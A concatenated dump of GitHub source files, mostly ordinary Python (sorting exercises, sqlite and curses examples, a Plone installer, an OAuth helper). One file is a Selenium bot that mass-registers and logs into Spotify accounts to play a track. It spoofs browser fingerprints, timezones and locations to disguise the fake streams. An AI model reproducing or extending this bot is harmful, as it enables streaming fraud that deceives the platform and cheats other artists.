checkpoint_dir=FLAGS.logdir,\n        save_checkpoint_secs=120,\n        save_summaries_steps=FLAGS.summarize_every,\n        log_step_count_steps=FLAGS.summarize_every) as sess:\n      cur_step = -1\n      while True:\n        if sess.should_stop() or cur_step > FLAGS.max_steps:\n          break\n        # run a step\n        _, cur_step = sess.run([train_op, global_step])\n\n\nif __name__ == \"__main__\":\n  tf.app.run(main)\n","repo_name":"yitu-opensource/MobileNeXt","sub_path":"mobile_deployment/tensorflow/slim/models/research/fivo/experimental/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":24194,"program_lang":"python","lang":"en","doc_type":"code","stars":146,"dataset":"github-code","pt":"77"}
+{"seq_id":"11424991493","text":"def bubble(list_a):\n\n    indexing_len = len(list_a) - 1\n\n    sorted = False\n\n    while not sorted:\n        sorted = True\n        for i in range(0, indexing_len):\n            if list_a[i] > list_a[i+1]:\n                sorted = False\n                list_a[i], list_a[i+1] = list_a[i+1], list_a[i]\n    return list_a\n\n\nprint(bubble([9,3,20,50,6,19,99]))\n\n\ndef bubble_for():\n    list = [6,5,4,3,2,1]\n    print(list)\n    for i in range(0, len(list)-1):\n        for j in range(0,len(list)-1 - i):\n            list[j], list[j+1] = list[j+1], list[j]\n    print(list)\n\nbubble_for()\n","repo_name":"fabianbrash/python-demoes","sub_path":"bubble.py","file_name":"bubble.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12418491885","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.chrome.service import Service\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom pystyle import Center, Colors, Colorate\r\n\r\nimport requests\r\nimport webbrowser\r\nimport random\r\nimport pytz\r\nimport time\r\nimport os\r\nimport keyboard\r\nimport string\r\nfrom colorama import Fore\r\n\r\nchrome_options = Options()\r\nchrome_options.binary_location = \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\"\r\ndriver = webdriver.Chrome(service=Service(\"/usr/local/bin/chrome_driver_arm64\"), options=chrome_options)\r\nos.system(f'title Kichi779 - Spotify Streaming bot v1 ')\r\nurl = 'https://github.com/Kichi779/Spotify-Streaming-Bot/'\r\n\r\ndef crear_cuenta(driver, username, password):\r\n    url_registro = 'https://www.spotify.com/signup'\r\n    driver.get(url_registro)\r\n    handle_cookies(driver)\r\n\r\n    correo = WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.ID, 'email')))\r\n    correo.send_keys(username)\r\n\r\n\r\n    contrasena = driver.find_element(By.ID, 'password')\r\n    contrasena.send_keys(password)\r\n\r\n    nombre = driver.find_element(By.ID, 'displayname')\r\n    nombre.send_keys(''.join(random.choice(string.ascii_letters) for _ in range(10)))\r\n\r\n    dia = driver.find_element(By.ID, 'day')\r\n    dia.send_keys('01')\r\n\r\n    mes = driver.find_element(By.ID, 'month')\r\n    mes.send_keys('January')\r\n\r\n    ano = driver.find_element(By.ID, 'year')\r\n    ano.send_keys(\"2000\")\r\n\r\n    genero = driver.find_element(By.CSS_SELECTOR, \"span.Indicator-sc-hjfusp-0.benotq\")\r\n    genero.click()\r\n\r\n    time.sleep(5)\r\n\r\ndef check_for_updates():\r\n    try:\r\n        r = requests.get('https://raw.githubusercontent.com/Kichi779/Spotify-Streaming-Bot/main/version.txt')\r\n        remote_version = r.content.decode('utf-8').strip()\r\n        local_version = open('version.txt', 'r').read().strip()\r\n        if remote_version != local_version:\r\n            print('A new version is available. Please download the latest version from GitHub')\r\n            time.sleep(2)\r\n            webbrowser.open(url)\r\n            return False\r\n        return True\r\n    except:\r\n        return True\r\n\r\ndef print_announcement():\r\n    try:\r\n        r = requests.get(\"https://raw.githubusercontent.com/Kichi779/Spotify-Streaming-Bot/main/announcement.txt\", headers={\"Cache-Control\": \"no-cache\"})\r\n        announcement = r.content.decode('utf-8').strip()\r\n        return announcement\r\n    except:\r\n        print(\"Could not retrieve announcement from GitHub.\\n\")\r\n\r\nsupported_timezones = pytz.all_timezones\r\n\r\ndef set_random_timezone(driver):\r\n    random_timezone = random.choice(supported_timezones)\r\n    driver.execute_cdp_cmd(\"Emulation.setTimezoneOverride\", {\"timezoneId\": random_timezone})\r\n\r\ndef set_fake_geolocation(driver, latitude, longitude):\r\n    params = {\r\n        \"latitude\": latitude,\r\n        \"longitude\": longitude,\r\n        \"accuracy\": 100\r\n    }\r\n    driver.execute_cdp_cmd(\"Emulation.setGeolocationOverride\", params)\r\n\r\ndef main():\r\n    if not check_for_updates():\r\n        return\r\n    announcement = print_announcement()\r\n    print(Colorate.Vertical(Colors.white_to_green, Center.XCenter(\"\"\"\r\n           \r\n                       ▄█   ▄█▄  ▄█    ▄████████    ▄█    █▄     ▄█  \r\n                       ███ ▄███▀ ███   ███    ███   ███    ███   ███  \r\n                       ███▐██▀   ███▌  ███    █▀    ███    ███   ███▌ \r\n                      ▄█████▀    ███▌  ███         ▄███▄▄▄▄███▄▄ ███▌ \r\n                     ▀▀█████▄    ███▌  ███        ▀▀███▀▀▀▀███▀  ███▌ \r\n                       ███▐██▄   ███   ███    █▄    ███    ███   ███  \r\n                       ███ ▀███▄ ███   ███    ███   ███    ███   ███  \r\n                       ███   ▀█▀ █▀    ████████▀    ███    █▀    █▀   \r\n                       ▀                                             \r\n Improvements can be made to the code. If you're getting an error, visit my discord.\r\n                             Discord discord.gg/AFV9m8UXuT    \r\n                             Github  github.com/kichi779    \"\"\")))\r\n    print(\"\")\r\n    print(Colors.red, Center.XCenter(\"ANNOUNCEMENT\"))\r\n    print(Colors.yellow, Center.XCenter(f\"{announcement}\"))\r\n    print(\"\")\r\n\r\n    user_agents = [\r\n    # Chrome (Windows)\r\n    \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\",\r\n    \"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\",\r\n\r\n    # Chrome (Mac)\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15\",\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\",\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\",\r\n\r\n    # Firefox (Windows)\r\n    \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0\",\r\n    \"Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0\",\r\n\r\n    # Firefox (Mac)\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0\",\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 11.4; rv:93.0) Gecko/20100101 Firefox/93.0\",\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:93.0) Gecko/20100101 Firefox/93.0\",\r\n\r\n    # Safari (Mac)\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15\",\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15\",\r\n    \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15\",\r\n\r\n    # Opera (Windows)\r\n    \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 OPR/80.0.4170.61\",\r\n    \"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 OPR/80.0.4170.61\",\r\n    \"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 OPR/80.0.4170.61\"\r\n    ]\r\n    \r\n    #FAKE Language\r\n    supported_languages = [\r\n    \"en-US\", \"en-GB\", \"en-CA\", \"en-AU\", \"en-NZ\", \"fr-FR\", \"fr-CA\", \"fr-BE\", \"fr-CH\", \"fr-LU\",\r\n    \"de-DE\", \"de-AT\", \"de-CH\", \"de-LU\", \"es-ES\", \"es-MX\", \"es-AR\", \"es-CL\", \"es-CO\", \"es-PE\",\r\n    \"it-IT\", \"it-CH\", \"ja-JP\", \"ko-KR\", \"pt-BR\", \"pt-PT\", \"ru-RU\", \"tr-TR\", \"nl-NL\", \"nl-BE\",\r\n    \"sv-SE\", \"da-DK\", \"no-NO\"\r\n    ]\r\n\r\n    chrome_path = 'C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe'\r\n    driver_path = 'chromedriver.exe'\r\n\r\n    random_user_agent = random.choice(user_agents)\r\n\r\n    with open('accounts.txt', 'r') as file:\r\n        accounts = file.readlines()\r\n\r\n    proxies = []\r\n\r\n    use_proxy = input(Colorate.Vertical(Colors.green_to_blue, 'Do you want to use proxies? (y/n):'))\r\n\r\n    if use_proxy.lower() == 'y':\r\n        print(Colors.red, Center.XCenter(\"The proxy system will be added after 50 stars. I continue to process without a proxy\"))\r\n        with open('proxy.txt', 'r') as file:\r\n            proxies = file.readlines()\r\n        time.sleep(3)\r\n\r\n    spotify_song = input(Colorate.Vertical(Colors.green_to_blue, \"Enter the Spotify song URL (e.g https://open.spotify.com/track/5hFkGfx038V0LhqI0Uff2J?si=bf290dcc9a994c36):\"))\r\n\r\n    drivers = []\r\n\r\n    delay = random.uniform(2, 6)\r\n    delay2 = random.uniform(5, 14)\r\n\r\n    for account in accounts:\r\n        random_language = random.choice(supported_languages)\r\n\r\n        chrome_options = webdriver.ChromeOptions()\r\n        chrome_options.add_experimental_option('excludeSwitches', [\"enable-automation\", 'enable-logging'])\r\n        chrome_options.add_argument('--disable-logging')\r\n        chrome_options.add_argument('--log-level=3')\r\n        chrome_options.add_argument('--disable-infobars')\r\n        chrome_options.add_argument('--disable-extensions')\r\n        chrome_options.add_argument(\"--window-size=1366,768\")\r\n        chrome_options.add_argument(\"--lang=en-US,en;q=0.9\")\r\n        chrome_options.add_argument(\"--disable-notifications\")\r\n        chrome_options.add_argument(f\"--user-agent={random_user_agent}\")\r\n        chrome_options.add_argument(f\"--lang={random_language}\")\r\n        chrome_options.add_argument(\"--mute-audio\")\r\n        chrome_options.add_argument('--disable-dev-shm-usage')\r\n        chrome_options.add_experimental_option('prefs', {\r\n            'profile.default_content_setting_values.notifications': 2\r\n        })\r\n\r\n        driver = webdriver.Chrome(service=Service(driver_path), options=chrome_options)\r\n\r\n        username, password = account.strip().split(':')\r\n\r\n        crear_cuenta(driver, username, password)  # changed line\r\n\r\n        try:\r\n            driver.get(\"https://www.spotify.com/us/login/\")\r\n            handle_cookies(driver)\r\n\r\n            username_input = driver.find_element(By.CSS_SELECTOR, \"input#login-username\")\r\n            password_input = driver.find_element(By.CSS_SELECTOR, \"input#login-password\")\r\n\r\n            username_input.send_keys(username)\r\n            password_input.send_keys(password)\r\n\r\n            driver.find_element(By.CSS_SELECTOR, \"button[data-testid='login-button']\").click()\r\n\r\n            time.sleep(delay)\r\n\r\n            driver.get(spotify_song)\r\n            handle_cookies(driver)\r\n\r\n            driver.maximize_window()\r\n\r\n            keyboard.press_and_release('esc')\r\n\r\n            time.sleep(10)\r\n\r\n            try:\r\n                cookie = driver.find_element(By.XPATH, \"//button[text()='Accept Cookies']\")\r\n                cookie.click()\r\n            except NoSuchElementException:\r\n                try:\r\n                    button = driver.find_element(By.XPATH, \"//button[contains(@class,'onetrust-close-btn-handler onetrust-close-btn-ui')]\")\r\n                    button.click()\r\n                except NoSuchElementException:\r\n                    time.sleep(delay2)\r\n\r\n            playmusic_xpath = \"(//button[@data-testid='play-button']//span)[3]\"\r\n            playmusic = driver.find_element(By.XPATH, playmusic_xpath)\r\n            playmusic.click()\r\n\r\n            time.sleep(1)\r\n\r\n            print(Colors.green, \"Username: {} - Listening process has started.\".format(username))\r\n\r\n        except Exception as e:\r\n            print(Colors.red, \"An error occurred in the bot system:\", str(e))\r\n\r\n        set_random_timezone(driver)\r\n        \r\n        # FAKE LOCATION\r\n        latitude = random.uniform(-90, 90)\r\n        longitude = random.uniform(-180, 180)\r\n        set_fake_geolocation(driver, latitude, longitude)\r\n\r\n        drivers.append(driver)\r\n\r\n        time.sleep(5)\r\n\r\n    print(Colors.blue, \"Stream operations are completed. You can stop all transactions by closing the program.\")\r\n\r\n    while True:\r\n        pass\r\n\r\ndef handle_cookies(driver):\r\n    try:\r\n        accept_cookies_button = WebDriverWait(driver, 10).until(\r\n            EC.element_to_be_clickable((By.ID, 'onetrust-accept-btn-handler'))\r\n        )\r\n        accept_cookies_button.click()\r\n    except:\r\n        print(\"Accept Cookies button not found\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()","repo_name":"Xbz-24/Spotify-Bot-Mod","sub_path":"spotifystreambot.py","file_name":"spotifystreambot.py","file_ext":"py","file_size_in_byte":12186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23684456783","text":"# 28) 삼각달팽이\n# https://programmers.co.kr/learn/courses/30/lessons/68645\n\n\ndef solution(n):\n    answer = []\n    \n    tmp_list = [[0 for _ in range(n)] for _ in range(n)]\n    \n    x = 0 #가로\n    y = -1 #세로\n    \n    num = 1\n    for i in range(n):\n        for j in range(i, n):\n            if i % 3 == 0: y += 1 #밑으로 이동\n            elif i % 3 == 1: x += 1 #오른쪽 이동\n            elif i % 3 == 2: #왼쪽 위 대각선 이동\n                x -= 1\n                y -= 1\n            tmp_list[y][x] = num #좌표에 숫자를 입력\n            num += 1\n    \n    for tmp in tmp_list:\n        for t in tmp:\n            if t != 0:\n                answer.append(t)\n    \n    return answer","repo_name":"Oath-of-the-Peach-Garden/Zhang-Fei","sub_path":"Level2/lv2_q28.py","file_name":"lv2_q28.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70409636090","text":"\"\"\"This is a example will show how to fetch record\n\n\"\"\"\n\nfrom sqlite3 import connect\n\ndef main():\n    lastName = input('Please enter last name:')\n     \n    # Approch one\n    cmd1 = 'select * from employees where lastName = ?'\n    \n    # Approch two\n    cmd2 = 'select * from employees where lastName = :lastName'\n     \n    # if db is not present it will create a new one, if it exist it will connect that one\n    conn = connect('my_db.sqlite3')\n    cur = conn.cursor()\n\n    try:\n        cur.execute(cmd1, (lastName,))\n        data = cur.fetchone()\n        print('Fetch single data with approch one')\n        print(data)\n        cur.execute(cmd2, { 'lastName': lastName})\n        data = cur.fetchall()\n        print('Fetch All data with approch two')\n        print(data)\n    except Exception as e:\n        print('There is an error', e)\n    finally:\n        conn.close()\n\n\nif __name__ == '__main__' : main()","repo_name":"avickmukh/Pyhton-Basic-To-Advanced","sub_path":"PythonSqlLiteExample/sqliteExample3.py","file_name":"sqliteExample3.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9388301097","text":"#\n# InfraRed -  A generic engine for Boltzmann sampling over constraint networks\n# (C) Sebastian Will, 2018\n#\n# This file is part of the InfraRed source code.\n#\n# InfraRed provides a generic framework for tree decomposition-based\n# Boltzmann sampling over constraint networks\n#\n\n## @file __init__.py\n# Package infrared\n\n\"\"\" @package infrared\nPackage infrared\n\nPackage defining Infrared's Python interface.\n\nNote that many names from submodules infrared and some from libinfrared are raised\nto the package-level namespace.\nFor example, `infrared.infrared.Model` is available as `infrared.Model`, `infrared.libinfrared.Constraint` as `infrared.Constraint`...\n\"\"\"\n\nfrom . import libinfrared\nfrom . import infrared\n\n\n## @cond PRIVATE\n_libinfrared_exports=[\n    'seed',\n    'Assignment',\n    'Constraint',\n    'Function',\n    'IntFunction',\n    'FiniteDomain',\n    'PFClusterTree',\n    'ArcticClusterTree',\n]\n## @endcond\n\nglobals().update({k:v for k,v in vars(libinfrared).items() if k in _libinfrared_exports})\nglobals().update({k:v for k,v in vars(infrared).items() if k in infrared._exports})\n\n__version__ = '1.1'\n","repo_name":"s-will/Infrared","sub_path":"src/infrared/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"20284495730","text":"#!/usr/bin/env python3\n\"\"\"\nPytuino interface (ncurses)\n\nPytuino has a number of interface options, this uses the curses module\n\"\"\"\n\nimport curses\n\n###############################################################################\nclass PytuinoIface:\n###############################################################################\n    \"\"\"\n    Provides a curses based interface to the display/keyboard\n    \"\"\"\n\n    KEY_DOWN = curses.KEY_DOWN\n    KEY_LEFT = curses.KEY_LEFT\n    KEY_RIGHT = curses.KEY_RIGHT\n    KEY_UP = curses.KEY_UP\n\n    TXT_BOLD = curses.A_BOLD\n    TXT_NORMAL = curses.A_NORMAL\n    TXT_REVERSE = curses.A_REVERSE\n\n    COLOUR_BLACK = curses.COLOR_BLACK\n    COLOUR_RED = curses.COLOR_RED\n    COLOUR_GREEN = curses.COLOR_GREEN\n    COLOUR_YELLOW = curses.COLOR_YELLOW\n    COLOUR_BLUE = curses.COLOR_BLUE\n    COLOUR_MAGENTA = curses.COLOR_MAGENTA\n    COLOUR_CYAN = curses.COLOR_CYAN\n    COLOUR_WHITE = curses.COLOR_WHITE\n    COLOUR_ORANGE = curses.COLOR_WHITE + 1\n    COLOUR_PINK = curses.COLOR_WHITE + 2\n    COLOUR_GREY = curses.COLOR_WHITE + 3\n\n    def __init__(self):\n        \"\"\"\n        Initialise curses interface handling\n        \"\"\"\n        # Initialise curses screen\n        self._stdscreen = curses.initscr()\n        # Initialise colour\n        self._stdscreen_has_color = False\n        if curses.has_colors():\n            curses.start_color()\n            self._stdscreen_has_color = True\n        # Turn off key echo\n        curses.noecho()\n        # Turn on cbreak mode (get keys when pressed, rather than after 'enter' pressed)\n        curses.cbreak()\n        # Set keyboard reading routines as non-blocking\n        self._stdscreen.nodelay(True)\n        # Enable conversion of special key (cursor keys, etc) keycodes to curses equivalent\n        self._stdscreen.keypad(True)\n        # Make cursor invisible\n        curses.curs_set(0)\n\n        # Add colours\n        curses.init_color(PytuinoIface.COLOUR_YELLOW, 1000, 1000, 0)\n        curses.init_color(PytuinoIface.COLOUR_ORANGE, 1000, 500, 0)\n        curses.init_color(PytuinoIface.COLOUR_PINK, 1000, 300, 580)\n        curses.init_color(PytuinoIface.COLOUR_GREY, 500, 500, 500)\n        # Initialise colour pairs\n        curses.init_pair(1, PytuinoIface.COLOUR_CYAN, curses.COLOR_BLACK)\n        curses.init_pair(2, PytuinoIface.COLOUR_BLUE, curses.COLOR_BLACK)\n        curses.init_pair(3, PytuinoIface.COLOUR_ORANGE, curses.COLOR_BLACK)\n        curses.init_pair(4, PytuinoIface.COLOUR_YELLOW, curses.COLOR_BLACK)\n        curses.init_pair(5, PytuinoIface.COLOUR_GREEN, curses.COLOR_BLACK)\n        curses.init_pair(6, PytuinoIface.COLOUR_RED, curses.COLOR_BLACK)\n        curses.init_pair(7, PytuinoIface.COLOUR_MAGENTA, curses.COLOR_BLACK)\n        curses.init_pair(8, PytuinoIface.COLOUR_PINK, curses.COLOR_BLACK)\n\n        curses.init_pair(254, PytuinoIface.COLOUR_GREY, curses.COLOR_BLACK)\n        curses.init_pair(255, PytuinoIface.COLOUR_WHITE, curses.COLOR_BLACK)\n\n        # Store screen size\n        self._columns = curses.COLS\n        self._rows = curses.LINES\n\n        # Store max colours\n        self._max_colours = curses.COLORS\n\n    def close(self):\n        \"\"\"\n        Returns the terminal to the original settings\n        \"\"\"\n        curses.curs_set(1)\n        self._stdscreen.keypad(False)\n        self._stdscreen.nodelay(False)\n        curses.nocbreak()\n        curses.echo()\n        curses.endwin()\n\n    def clear_screen(self):\n        \"\"\"\n        Clear the screen\n        \"\"\"\n        self._stdscreen.erase()\n\n    def color_pair(self, colour_index):\n        \"\"\"Wrapper of curses color_pair\"\"\"\n        return curses.color_pair(colour_index)\n\n    def get_key(self):\n        \"\"\"\n        Return a key(code) if any are pressed (non blocking)\n        \"\"\"\n        try:\n            return self._stdscreen.getch()\n        except Exception:\n            return \"\"\n\n    def init_pair(self, index, foreground, background):\n        \"\"\"\n        Create colour pairs which are later refenced when inserting text\n\n        index\n            Index of colour pair ro create\n        foreground\n            Foreground colour\n        background\n            Background colour\n        \"\"\"\n        curses.init_pair(index, foreground, background)\n\n    def print_str(self, txt, columns=None, rows=None, attributes=None, colour=None):\n        \"\"\"\n        Print a string on screen\n\n        txt\n            String to display\n        cols\n            Column offset\n        rows\n            Row offset\n        attributes\n            Attributes to use\n        colour\n            Colour attributes\n        \"\"\"\n        if columns is None and rows is None:\n            if attributes is None and (colour is None or self._stdscreen_has_color is False):\n                self._stdscreen.addstr(txt)\n            else:\n                attr_combined = 0\n                if not attributes is None:\n                    attr_combined |= attributes\n                if not colour is None and self._stdscreen_has_color is True:\n                    attr_combined |= colour\n                self._stdscreen.addstr(txt, attr_combined)\n        else:\n            if attributes is None and (colour is None or self._stdscreen_has_color is False):\n                self._stdscreen.addstr(rows, columns, txt)\n            else:\n                attr_combined = 0\n                if not attributes is None:\n                    attr_combined |= attributes\n                if not colour is None and self._stdscreen_has_color is True:\n                    attr_combined |= colour\n                self._stdscreen.addstr(rows, columns, txt, attr_combined)\n\n    def redraw(self):\n        \"\"\"\n        Update the screen with any changes\n        \"\"\"\n        return self._stdscreen.refresh()\n\n    def set_position(self, cols, rows):\n        \"\"\"\n        Move cursor to given position\n        \"\"\"\n        self._stdscreen.move(rows, cols)\n\n    def skip_ch(self, skip_chars=1):\n        \"\"\"\n        Move cursor forward 1 character\n        \"\"\"\n        tmp_y, tmp_x = self._stdscreen.getyx()\n        tmp_x += skip_chars\n        self._stdscreen.move(tmp_y, tmp_x)\n\n# Main\n###############################################################################\nif __name__ == '__main__':\n    import math\n    import time\n\n    ptoi = None\n    err = None\n    try:\n        ptoi = PytuinoIface()\n\n        ptoi.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLACK)\n        ptoi.init_pair(2, curses.COLOR_CYAN, curses.COLOR_BLACK)\n        ptoi.init_pair(3, curses.COLOR_MAGENTA, curses.COLOR_BLACK)\n\n        hello_str = \"Hello World\"\n        quit_str = \"Press Q to quit\"\n        # Current position\n        cur_column = 0\n        cur_row = 0\n        # Next position will add these values\n        add_column = 1\n        add_row = 1\n\n        while True:\n            ptoi.clear_screen()\n\n            # Truncate sring when it's tail is off screen\n            tmp_len = ptoi._columns - cur_column\n            if tmp_len > len(hello_str):\n                tmp_len = len(hello_str)\n            ptoi.print_str(hello_str[0:tmp_len], columns=cur_column, rows=cur_row, attributes=curses.A_BOLD, colour=curses.color_pair(2))\n\n            # Update co-ordinates\n            if add_column == 1:\n                if cur_column == (ptoi._columns - 1):\n                    add_column = -1\n            else:\n                if cur_column == 0:\n                    add_column = 1\n            if add_row == 1:\n                if cur_row == (ptoi._rows - 1):\n                    add_row = -1\n            else:\n                if cur_row == 0:\n                    add_row = 1\n            cur_column += add_column\n            cur_row += add_row\n\n            ptoi.print_str(quit_str, columns=math.floor((ptoi._columns-len(quit_str))/2), rows=(ptoi._rows-1), attributes=curses.A_BOLD, colour=curses.color_pair(1))\n\n            ptoi.redraw()\n\n            # Check for quit key\n            key = ptoi.get_key()\n            if key == ord('Q'):\n                break\n\n            time.sleep(0.05)\n\n    except Exception as e:\n        err = e\n    finally:\n        if not ptoi is None:\n            ptoi.close()\n        if not err is None:\n            print(f\"Last co-ordinates: {cur_column}x{cur_row}\")\n            raise err\n\n        # Print info on exit\n        print(f\"Screen size: {ptoi._columns}x{ptoi._rows}\")\n        print(f\"Number of colours: {curses.COLORS}\")\n\n","repo_name":"Celliwig/Pytuino","sub_path":"iface_curses.py","file_name":"iface_curses.py","file_ext":"py","file_size_in_byte":8313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15327734950","text":"\"\"\"\nthis is used by portal_quickinstaller to install the product\n\"\"\"\n\n__author__ = 'I-Ling Lin'\n__docformat__ = 'restructuredtext'\n\n\n# Python imports\nfrom StringIO import StringIO\n\n# CMF imports\nfrom Products.CMFCore.utils import getToolByName\n\n# Archetypes imports\nfrom Products.Archetypes.public import listTypes\nfrom Products.Archetypes.Extensions.utils import installTypes, install_subskin\n\n# Product imports\nfrom Products.LandingPage.config import PROJECTNAME, GLOBALS\n\n\ndef configureTypes(self, out):\n    \"\"\"Register new types and configure them.\n    \"\"\"\n\n    # install types\n    installTypes(self, out, listTypes(PROJECTNAME), PROJECTNAME)\n    print >> out, \"installed types.\"\n\n    # enable portal_factory to create temporary content\n    factory = getToolByName(self, \"portal_factory\")\n    types = factory.getFactoryTypes().keys()\n    for t in [ \"LandingPage\", \"TextBlock\" ]:\n        if t not in types:\n            print >> out, \"Adding %s to factory types\" % t\n            types.append(t)\n    factory.manage_setPortalFactoryTypes(listOfTypeIds = types)\n\n\ndef install(self):\n    \"\"\"install LandingPage product:\n    install content types, skin layer, stylesheet\n    set up global properties, enable the portal factory and set up form controller\n    actions for the widget actions.\n    uses StringIO() to return a success message. \n    \"\"\"\n\n    out = StringIO()\n    print >> out, \"Installing %s...\" % PROJECTNAME\n\n    # install types, enable portal_factory\n    configureTypes(self, out)\n\n    # install skin\n    install_subskin(self, out, GLOBALS)\n    print >> out, \"installed skin.\"\n\n    propsTool = getToolByName(self, 'portal_properties')\n    siteProperties = getattr(propsTool, 'site_properties')\n\n    # Add the TextBlock type to types_not_searched\n    # (this is configurable via the Search settings control panel)\n    typesNotSearched = list(siteProperties.getProperty('types_not_searched'))\n    if 'TextBlock' not in typesNotSearched:\n        typesNotSearched.append('TextBlock')\n    siteProperties.manage_changeProperties(types_not_searched = typesNotSearched)\n    print >> out, \"Added TextBlock to types_not_searched\"\n\n    # Add LandingPage to kupu's linkable type\n    kupuTool = getToolByName(self, 'kupu_library_tool')\n    linkable = list(kupuTool.getPortalTypesForResourceType('linkable'))\n    if 'LandingPage' not in linkable:\n        linkable.append('LandingPage')\n    # kupu_library_tool has an idiotic interface, basically written purely to\n    # work with its configuration page. :-(\n    kupuTool.updateResourceTypes(({'resource_type' : 'linkable',\n                                   'old_type'      : 'linkable',\n                                   'portal_types'  :  linkable},))\n    print >> out, \"Added LandingPage to kupu's linkable type\"\n\n    print >> out, \"Successfully installed %s.\" % PROJECTNAME\n    return out.getvalue()\n","repo_name":"renderwell/prescientdigital","sub_path":"products/LandingPage/Extensions/Install.py","file_name":"Install.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9583307319","text":"from requests_oauthlib import OAuth1, OAuth2\nfrom social_apis.exceptions.social_api_error import *\n\n\nclass Auth:\n\n    def __init__(self, api_url, app_key=None, app_secret=None,\n                 oauth_token=None, oauth_token_secret=None, access_token=None,\n                 token_type='bearer', auth_endpoint='authenticate', oauth_version=1, **params):\n\n        self.api_url = api_url\n        self.app_key = app_key\n        self.app_secret = app_secret\n        self.oauth_token = oauth_token\n        self.oauth_token_secret = oauth_token_secret\n        self.access_token = access_token\n\n        self.request_token_url = f\"{self.api_url}/oauth/request_token\"\n        self.access_token_url = f\"{self.api_url}/oauth/access_token\"\n        self.authenticate_url = f\"{self.api_url}/oauth/{auth_endpoint}\"\n\n        if self.access_token:\n            oauth_version = 2\n\n        self.oauth_version = oauth_version\n\n        if oauth_version == 2:\n            self.request_token_url = f\"{self.api_url}/oauth2/token\"\n\n        if oauth_version == 1:\n            if self.app_key is not None and self.app_secret is not None:\n                auth = OAuth1(self.app_key, self.app_secret, self.oauth_token, self.oauth_token_secret)\n            else:\n                raise TokenError(\"Missing required arguments for OAuth v1\")\n\n        elif oauth_version == 2:\n            if self.access_token:\n                token = {\n                    'token_type': token_type,\n                    'access_token': self.access_token\n                }\n                auth = OAuth2(self.app_key, token=token)\n            else:\n                raise TokenError(\"Missing required 'access_token' argument for OAuth v2\")\n        else:\n            raise AuthError(\"Unsupported OAuth version\")\n\n        self.auth = auth\n","repo_name":"azavodov/social-apis","sub_path":"src/social_apis/authentication/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
